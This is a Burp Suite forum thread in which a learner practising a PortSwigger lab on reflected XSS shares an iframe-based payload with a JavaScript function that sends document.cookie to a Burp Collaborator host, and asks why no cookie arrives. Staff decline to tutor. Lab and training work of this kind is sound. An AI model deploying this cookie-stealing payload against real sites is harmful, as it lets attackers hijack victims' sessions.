Burp Suite User Forum

Create new post

Lab - Reflected XSS into HTML context with most tags and attributes blocked

Juan | Last updated: Jun 16, 2022 03:37PM UTC

Hi I am busy with the lab, "Reflected XSS into HTML context with most tags and attributes blocked". I successfully fire the print() on myself and the simulated victim, but for extra practice preparing for the burp suite exam, i am trying to extend my exploit server body content to steal the victim cookie in burp collaborator out of band. I get hit with the below exploit server body code, but no cookie. is it possible or is it that the victim cookie has the httponly set? ````` function StealCookies() { document.write('<img src="http:/gue4myrnxeyslkytd95e1vvovf16pv.oastify.com?cookieStealer="+document.cookie>'); } <iframe src="https://0a2200f304fa2249c0b329cb0062009f.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=StealCookies()%3E" onload=this.style.width='1000px'> ````` my above javascript code skills are very basic, i will appreciate any feedback. Thanks J

Hannah, PortSwigger Agent | Last updated: Jun 17, 2022 08:41AM UTC

Thank you for your post! Unfortunately, we are unable to provide personal support or tutoring to Academy users, as we prefer to improve the experience for our entire userbase by focusing on expanding and refining our public content. Your post will stay up on the forum for a member of the community to reply.

Juan | Last updated: Jun 18, 2022 12:16PM UTC

Understood, thanks for replying Hannah. regards J

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.